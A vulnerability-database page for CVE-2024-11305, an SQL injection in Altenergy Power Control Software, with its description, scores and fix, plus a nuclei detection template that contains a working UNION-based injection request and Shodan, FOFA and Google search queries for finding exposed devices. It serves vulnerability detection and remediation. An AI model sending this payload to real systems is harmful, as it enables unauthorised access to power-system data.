HexBrain

Browse / CVEs / CVE-2024-11305

CVE-2024-11305· apsystems / energy communication unit firmware· CWE-74

Altenergy Power Control Software - SQL Injection

mediumseverity
6.3CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

A vulnerability classified as critical was found in Altenergy Power Control Software up to 20241108. This vulnerability affects the function get_status_zigbee of the file /index.php/display/status_zigbee. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely.

Impact

Authenticated attackers can execute SQL injection through the date parameter in the status_zigbee function to extract sensitive power system data including energy metrics and device configurations.

Fix

Validate and sanitize all user inputs before processing them in SQL queries. Use parameterized queries or prepared statements to prevent SQL injection attacks.

How to confirm it

Send: POST /index.php/display/status_zigbee
Positive when: contains_all(body, "Status(ZigBee)", "qKeVEsSqYdzyfSSqVTpdgEKPuXmSiYtnxLTImsdSkqvbbq") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-11305 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-11305

info:
  name: Altenergy Power Control Software - SQL Injection
  author: s4e-io
  severity: medium
  description: |
    A vulnerability classified as critical was found in Altenergy Power Control Software up to 20241108. This vulnerability affects the function get_status_zigbee of the file /index.php/display/status_zigbee. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely.
  impact: |
    Authenticated attackers can execute SQL injection through the date parameter in the status_zigbee function to extract sensitive power system data including energy metrics and device configurations.
  remediation: |
    Validate and sanitize all user inputs before processing them in SQL queries. Use parameterized queries or prepared statements to prevent SQL injection attacks.
  reference:
    - https://blog.csdn.net/ZeroDay001/article/details/143878599
    - https://cn-sec.com/archives/3447233.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11305
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-11305
    cwe-id: CWE-74
    epss-score: 0.0367
    epss-percentile: 0.89747
  metadata:
    max-request: 1
    vendor: apsystems
    product: energy_communication_unit_firmware
    shodan-query: http.title:"altenergy power control software"
    fofa-query: title="altenergy power control software"
    google-query: intitle:"altenergy power control software"
  tags: cve,cve2024,altenergy,iot,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /index.php/display/status_zigbee HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        date=2024-11-06%' UNION ALL SELECT 11,CHAR(113)||CHAR(75,101,86,69,115,83,113,89,100,122,121,102,83,83,113,86,84,112,100,103,69,75,80,117,88,109,83,105,89,116,110,120,76,84,73,109,115,100,83,107)||CHAR(113,118,98,98,113),11-- wPIB

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Status(ZigBee)", "qKeVEsSqYdzyfSSqVTpdgEKPuXmSiYtnxLTImsdSkqvbbq")'
          - 'contains(content_type, "text/html")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from